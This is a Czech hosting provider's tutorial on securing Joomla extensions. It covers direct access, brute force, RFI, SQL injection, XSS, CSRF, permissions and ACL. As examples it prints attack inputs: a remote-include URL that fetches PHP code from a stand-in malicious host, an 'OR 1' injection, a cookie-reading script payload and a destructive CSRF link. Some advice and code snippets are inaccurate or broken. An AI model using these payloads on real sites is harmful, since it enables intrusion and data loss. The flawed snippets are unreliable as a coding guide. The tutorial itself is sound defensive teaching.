Zabezpečení komponent, modulů a pluginů Joomla

(Opensource / Redakční systém / Joomla)

V defaultním nastavení je Joomla velmi bezpečná, ale některá rozšíření třetích stran mohou být napadnutelná. Tento článek vám pomůže zabezpečit vaše rozšíření.

Zabezpečení komponent, modulů a pluginů Joomla

Ať už jste developer, tvůrce pluginů nebo pouhý uživatel systému Joomla, existuje několik věcí v oblasti zabezpečení, na které je potřeba dávat si pozor. Komponenta fungující lokálně na vašem PC potřebuje být dostatečně zabezpečena pro chod na serveru.

Obsah:

1. Zabezpečení proti přímému přístupu
2.Zabezpečení proti Brute Froce útoku
3. Zabezpečení proti RFI
4. Zabezpečení proti SQL injection
5. Zabezpečení proti XSS
6. Zabezpečení proti CSFR
7. Práva složek a open (0777) soubory
8. Zkontrolujte přístup a práva uživatelů
9. Jak dosáhnout výstupu RAW dat (pro obrázky, RSS feedy atd.)
10. Pozor na tyto věci
11. Co dělat, pokud zjistíte problém se zabezpečením vašeho softwaru

Zabezpečení proti přímému přístupu

Soubory vaší komponenty jsou obvykle volány přes Joomlu, jako wrapper nabízí mnoho užitečných funkcí jako je ověření uživatele atd. Vzhledem k tomu, že vývojáři často testují své komponenty prostřednictvím Joomly, mají tendenci zapomínat na možnost volání souboru na přímo. Místo volání komponenty


http://www.domena.cz/index.php?option=com_vasekomponenta

útočníci využívají


http://www.domena.cz/components/com_vasekomponenta/vasekomponenta.php

Jak můžete vidět, soubor PHP je zavolán přímo, bez  využití Joomly jako wrraperu. Pokud váš soubor obsahuje pouze třídy nebo funkce, ale nepouští žádný kód, není na tom nic špatného, viz např.:

	
< ?php class myClass {
     [SomeFunctionsHere]
 }
 function myFunction() {
     [SomeCodeHere]
 }
 ? >

Cracker by pak viděl pouze prázdnou stránku při přístupu na tento soubor. Ale pokud váš PHP soubor provádí nějaké akce, kde jsou vidět i chybové zprávy, odhalí důležité detaily o chodu vaší komponenty. Za určitých okolností by mohl mít také možnost spustit libovolný kód ve vašem systému.

ZÁVĚR:

Chcete-li, aby vaše komponenta byla zabezpečena před přímým přístupem, vložte tento kód na začátek každého PHP souboru, který provádí nějakou akci:


defined('_JEXEC') or die('Restricted access');

Toto je potřeba pro každý soubor, který spouští php kód. Pokud jste na pochybách, nepoužívejte tento řádek!

Zabezpečení proti Brute Froce útoku

Pro tento krok je dobré využít již specializovaného pluginu. Jako je tomu například u "Brute Force Stop" (extensions.joomla.org/extension/brute-force-stop) nebo ještě lépe "Admin Tools" od hojně využívaného výrobce Akeeba Backups (extensions.joomla.org/extensions/admin-tools-professional). Tyto rozšíření pro Joomlu zajišťují zabezpečení aplikace proti Brute Force útokům. Zvláště pak do administračního rozhraní aplikace Joomla. Tyto plugin si ukládají záznamy o neúspěšných pokusech o přihlášení a na jejich základech provádí blokace IP adres útočníků. V případě Admin Tools si můžete navíc ještě změnit adresu pro přihlášení do administrace a nebo si nastavit tzv. whitelist adres které mohou do administrace vůbec přistupovat. Samozřejmě nejlepšího efektu docílíte kombinací několika prvků zabezpečení (pozor vždy ale jen za pomocí jednoho pluginu, nikoliv kombinací i několika pluginů).

V rámci multihostingového tarifu lze provést zabezpečení pomocí naší administrace (webcontrol). Jsou dvě varianty, můžete administrace joomly povolit pouze pro Vaše IP adresy nebo pomocí autentizace. 

1. Povolení pouze pro Vaši IP adresu

Přejděte si do administrace hostingu, sekce "Adresáře - Nastavení"  a klikněte na tlačítko "Přidat". Zobrazí se Vám formulář pro vytvoření adresáře, do řádku "Adresář" vložíte cestu k administraci joomly. To je /adresář_kam_smeruje_doména/administrator , pokud si nejste jistý do jakého adresáře doména směruje, tak ho můžete nalézt v administraci hostingu, sekce "Domény - Nastavení" , kliknete na svojí doménu a v řádku "Adresář pro tuto doménu" uvidíte adresář odkud doména načítá.

Další řádek, který je nutný vyplnit je "Povolit IP". Do tohoto řádku vložíte IP adresy z kterých budete přistupovat do administrace hostingu. Vaši IP adresu můžete zjistit například zde. V případě, že přistupujete z více IP adres,tak je oddělte středníkem. Lze vkládat pouze IPv4 adresy.

Nastavení potvrdíte tlačítkem "Přidat". Aktuálně bude možné přistoupit do administrace pouze z uvedených IP adres.

 

2. Zabezpečení pomocí autentizace

Přejděte si do administrace hostingu, sekce "Adresáře - Nastavení"  a klikněte na tlačítko "Přidat". Zobrazí se Vám formulář pro vytvoření adresáře, do řádku "Adresář" vložíte cestu k administraci joomly. To je /adresář_kam_smeruje_doména/administrator , pokud si nejste jistý do jakého adresáře doména směruje, tak ho můžete nalézt v administraci hostingu, sekce "Domény - Nastavení" , kliknete na svojí doménu a v řádku "Adresář pro tuto doménu" uvidíte adresář odkud doména načítá.

Další řádek, který je nutný vyplnit je "Vynutit autorizaci uživatelů". Do tohoto řádku vložíte uživatelské jmeno a heslo ve formátu jmeno:heslo. V případě, že budete zadávat více uživatelů, tak je oddělte středníkem.

Nastavení potvrdíte tlačítkem "Přidat". Aktuálně při přístupu na stránku http://vase_domena.cz/administrator se budete muset přihlásit pomocí zadaného uživatelského jména a hesla. Následně se Vám zobrazí přihlašovací obrazovka do joomly.

Zabezpečení proti RFI 

Pokrok v PHP a RS Joomla učinili bezpečnost mnohem lepší, ale důležité je si uvědomit a provést ochranu proti vstupu uživatele k souboru. Dejme tomu, že v šabloně využíváte takovýto kód:


$layout = $_GET['layout'];

include($layout);

Útočník by mohl aplikovat URL k proniknutí do vzdáleného souboru skrze parametr šablony, příkladem může být přístup vaší komponenty:


http://www.domena.cz/com_vasekomponenta/views/vasekomponenta?layout=http://www.nebezpecnastranka.cz/nebezpecny.gif

který ve skutečnosti odešle zpět spustitelný kód PHP pod názvem souboru tohoto obrázku. Útočník může provádět cokoliv na vašem serveru. Toto se nazývá vzdálené vložení souboru (RFI). Jak tuto hrozbu odvrátit? Tento způsob útoku je mnohem těžší při využívání absolutních cest, jako např.


$layout = $_GET['layout'];

include(JPATH_SITE. '/components/com_vasekomponenta/views/tmpl/'.$layout );

nebo


include(JPATH_ADMINISTRATOR. '/components/com_vasekomponenta/views/tmpl/'.$layout );

Konstanty JPATH_SITE a JPATH_ADMINISTRATOR nejsou náchylné k manipulaci útočníkem. Jsou definovány Joomlou a jsou k dispozici pro využití kdekoliv v kódu, kde budete potřebovat vložit cestu k webu. Nicméně můžete provést ještě lepé, pokud sanitizujete vstup uživatele pomocí třídy Joomla Jinput nežli použitím $_GET array.


$jinput = JFactory::getApplication()->input;
$layout = $jinput->get('layout','default');
include(JPATH_SITE. '/components/com_vasekomponenta/views/tmpl/'.$layout );

Ve výchozím nastavení JInput  aplikuje CMD filtr pro vstup uživatele, který umožňuje pouze následující znaky:  a-z, 0-9, podtržítko, tečka, pomlčka. Pro využití jiných filtrů navštivte tento odkaz. Všimněte si, že pomocí CMD filtrů se zabrání nahrání vzdálených souborů vyloučením nepotřebných znaků, především :/, tedy vyloučení separátorů v názvech souborů zabrání vstupu do adresáře traversal, kde se útočníci snaží manipulovat ke vložení cesty, která není součástí prezentace.  RFI funguje pouze u webů, které mají povolenou fci allow_url_fopen. Určitě nespoléhejte na vypnutou fci  allow_url_fopen.

Zabezpečení proti SQL injection

SQL injection je způsob napadení databázové vrstvy vsunutím kódu přes neošetřený vstup. Umožní to pak změnit údaje v databázi nebo odcizení citlivých dat. Podívejte se na tento kód


$value = $_GET['value'];

$database->setQuery( "SELECT * FROM #__mytable WHERE id = $value" );

a útočník by mohl předat řetězec ve tvaru „1OR 1“ v dotazu


"SELECT * FROM #__mytable WHERE id = 1 OR 1"

a tak se vrátí všechny řádky z tabulky jos_mytable. To je zvláště jednoduchý příklad možného využití, existuje jich mnoho dalších. Mnoho developerů se špatně domnívá, že SQL injection může být použit pouze pro manipulaci s výsledky z tabulky v původním příkazu SQL. Zahrnutím příkazu UNION SELECT v SQL injection může být útočník schopen získat přístup k libovolné tabulce v databázi Joomly, jedná se tedy o velké bezpečnostní riziko.

ZÁVĚR: Ověřte všechny vstupy uživatelů před užitím dotazu SQL. Pro všechny řetězce


$db = JFactory::getDBO();
$string = $db->escape( $string );

které budou použity v SQL dotazu, použijte


$value = intval( $value );

Zpravidla byste neměli získat žádný uživatelův vstup přes třídu joomla Jinput, nežli přes pole  $ _GET a $ _POST, ale mějte na paměti, že SQL injection útoky lze provést pomocí znaků, které budou za jiných okolností přijatelné, takže filtry, které používáte, nemusí těmto dotazům zabránit. Jediný spolehlivý způsob, jak SQL injection zabránit, je vyhnutí se použití řetězce $db->escape() a použití numerické hodnoty jako v předcházejících příkladech.

Zabezpečení proti XSS

Cross Site Scripting znamená narušení prezentace využitím bezpečnostních chyb v neošetřených vstupech skriptů. Tyto útoky mohou být použity k únikům informací z relací cookies uživatelů. Proto dávejte pozor na neověřený vstup uživatele, především kód jako je tento:


echo $_REQUEST['value'];

Závěr: Použijte Jinput pro získání jakéhokoliv vstupu uživatele, např.:


$jinput = JFactory::getApplication()->input;
$value = $Jinput->get('value','','html');
echo $value;

Toto bude platit pro všechny HTML tagy a atributy. Pokud si myslíte, že některý z HTML tagů by mohl být takto využit, můžete využít navíc funkci PHP htmlspecialchars ():


$value = htmlspecialchars( $value );
echo $value;

Navíc, pokud používáte vstup uživatele pro získání hodnoty JavaScriptu, musíte být ještě více opatrnější, jen odstranění HTML nebude dostatečné, například využití v HTML šabloně:


< script type="text/javascript">
  var colour = get('colour','blue','alnum'); ?>;
< /script>

V tomto případě lze využít filtr „alnum“, který odstraní všechny znaky s výjimkou a až z a 0 až 9. Je potřeba velmi restriktivní filtr, jinak může být umožněno přidat další javascript jen za pomocí pouhé interpunkce včetně znaku '();. Např.: pokud útočník použije v dotazu řetězec:


colour=blue%3B%20window.alert(document.cookie)%3B

pokud využijete filtr pro odstranění pouze HTML tagů, bude výsledek JavaScriptu


< script type="text/javascript">
  var colour = blue;
  window.alert(document.cookie);
< /script>

Zabezpečení proti CSFR

Pokud budete zalogován jako uživatel, který má všechny práva (super uživatel), navštívíte jiný napadený web, jehož součástí je falešný obrázek se zdrojem:


http://domena.cz/administrator/index.php?option=com_vasekomponenta&task=deleteall

Prohlížeč se pokusí načíst falešný obrázek a tím dojde k vymazání všeho v databázi komponenty. Joomla obsahuje zabudovanou ochranu proti této hrozbě ve formě relace tokenu. Každý uživatel si toho již všiml, pokud se pokusí přihlásit z určité stránky po delší neaktivitě. Objeví se chybová hláška se zprávou „neplatný token“. To je zásadní funkce pro zabezpečení. Chcete-li využít tuto funkci pro vaše rozšíření, musíte token zahrnout v jakékoliv formě, kterou vaše rozšíření používá.   


< ?php echo JHTML::_( 'form.token' ); ? >

Předtím, než vaše rozšíření provede nějakou nebezpečnou akci, jako je mazání, zkontrolujte platný token:


JSession::checkToken() or jexit( 'Invalid Token' );

Práva souborů a složek - open (0777)

Cross Site Scripting se běžně provádí prostřednictvím HTML nebo JavaScriptů, něky také přes Flash filmy nebo Java applety. Otevřené soubory a složky by se němli vůbec vytvářet a pokud je to nutné, tak jen dočasně. Standardně by měli mít adresáře práva 0755 a soubory 0644.

Zkontrolujte přístup a práva uživatelů

Pokud umožňujete uživatelům prezentace provádět akce, jako vytváření, upravování a mazání položek, měli byste se ujistit, že tak mohou učinit opravdu jen uživatelé, které mají správná oprávnění. To je především důležité, pokud vaše komponenta umožňuje front-end editaci.

Více o začlenění přístupových práv Joomla ALC naleznete zde.

Základním začleněním ALC jsou jednoduché tři fáze:

1. Zahrnutí souboru access.xml do administrátorské složky vaší komponenty, tento soubor bude popisovat akce, ke kterým chcete řídit přístup, jako např.:


< ?xml version="1.0" encoding="utf-8" ?>
< access component="com_example">
	< section name="component">
		< action name="core.admin" title="JACTION_ADMIN" description="JACTION_ADMIN_COMPONENT_DESC" />
		< action name="core.manage" title="JACTION_MANAGE" description="JACTION_MANAGE_COMPONENT_DESC" />
        < /section>
< /access>

2. Zahrnout oprávnění fieldset v souboru config.xml vaší komponenty, to umožní povolit administrátorovi stránky nastavit oprávnění pro tyto akce


< fieldset
		name="permissions"
		label="JCONFIG_PERMISSIONS_LABEL"
		description="JCONFIG_PERMISSIONS_DESC"
		>
		< field
		name="rules"
		type="rules"
		label="JCONFIG_PERMISSIONS_LABEL"
		validate="rules"
		filter="rules"
		component="com_example"
		section="component"/>
< /fieldset>
		

3. Pomocí metody JUser $user->authorise můžete kontrolovat, zda má uživatel správně nastavená práva pro zvolenou akci:

 


if (!JFactory::getUser()->authorise('core.manage', 'com_example')) {
return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR'));
}

ZÁVĚR:  Můžete kontrolovat hodnoty pro blokování přístupu k určitým částem komponenty.

Také se ujistěte, aby neobsahovala žádné informace o uživateli, že nemá takovýto přístup. Můžete použít metodu JUser $user->getAuthorisedViewLevels pro získání náhledu, jaká práva má uživatel:


$user = JFactory::getUser();
$groups = implode(',', $user->getAuthorisedViewLevels());

Jednoduchý SQL dotaz, který bere v potaz práva kategorie pro určitou položku databáze (za předpokladu, že data jsou řazena dle kategorií):


SELECT * FROM #__contact_details AS c
LEFT JOIN #__categories AS cat ON cat.id = c.catid
WHERE ( c.name LIKE '%$text%' )
AND c.published =
AND cat.published = 1
AND c.access IN ($groups)
AND cat.access IN ($groups)

Všimněte si, že oba kontaktní detaily a kategorie jsou kontrolovány před publikací a před přidělením přístupu. Pamatujte si také, že $text musí být odstraněno, pokud je získaná z uživatelského vstupu.

Jak dosáhnout výstupu RAW dat (pro obrázky, RSS feedy atd.)

V některých případech uživatelé potřebují získat RAW (surová) data pro prohlížeče, např. Binární obrázky nebo xml pro RSS feedy. Developeři často mají tendenci psát vlastní PHP soubory, ale raději využijte přímo Joomlu.

ŘEŠENÍ: Chcete-li získat snadno výstup komponenty, stačí přidat tmpl=component k URL:


index.php?option=com_content&view=category&id=14&tmpl=component

Pro odeslání NE-HTML odpovědi, jako je např. XML feed stačí:


http://www.domena.cz/index.php?option=com_vasekomponenta&format=xml

Poté ve složce náhledů vaší komponenty vložte soubor view.xml.php. V tomto souboru je užitečné sdělit Joomle, jaký typ souboru generujete, např.:


$document =& JFactory::getDocument();
$document->setType('xml');

Pokud je však váš výstup XML standardní RSS zdroj, můžete využít format=feed a využít soubor view.feed.php, Joomla automaticky rozpozná typ souboru. Pro výstup obrázku použijte obdobný proces, použijte v URL:


http://www.domena.cz/index.php?option=com_vasekomponenta&format=img

a


$document =& JFactory::getDocument();
$document->setMimeEncoding('image/png');

Pozor na tyto věci

Existuje několik dalších věcí, které byste neměli dělat a některé funkce vůbec nepoužívat.

  • Nepoužívejte fukci eval()
  • Nepoužívejte backtick operátory [8.2], exec, shell_exec, systém, popen a další podobné funkce
  • Nepoužívejte automatické zasílání emailů, pokud se vaše komponenta někde naistaluje
  • Nikdy nepoužívejte v kódu  $_GET nebo $_POST
  • Nevkládejte žádné administrátorské „back doors“ do vašeho kódu
  • Nepoužívejte nepřehledný kód a také kódování base 64, kód se špatně ladí a porušuje licenci GPL, pod kterým jsou Joomla rozšíření licencovaná.
  • Dejte si pozor na četné externí knihovny ve vašem rozšíření a zkontrolujte, co skutečně obsahují. Mnoho Flash a JavaScriptů obsahují demo kód, který je potřeba odstranit.


Co dělat, pokud zjistíte problém se zabezpečením vašeho softwaru

Občas se může objevit problém v zabezpečení kódu nebo to mohl někdo nahlásit na seznam Joomly nebezpečných rozšíření (VEL) zde. Jako zodpovědný vývojář byste měl udělat několik věci:

  • Opravit svůj kód
  • Informovat uživatele, že potřebují provést aktualizaci, mělo by obsahovat záplatu na vašich stránkách
  • Informovat Joomla VEL na vel.joomla.org


Zpětná vazba (feedback)

Byl tento článek nesrozumitelný, obsahoval nepřesné informace, nebo v něm nějaké informace chyběly?
Napište nám nebo využijte komentářů níže.

Komentáře

Nový komentář

(nebude zobrazen)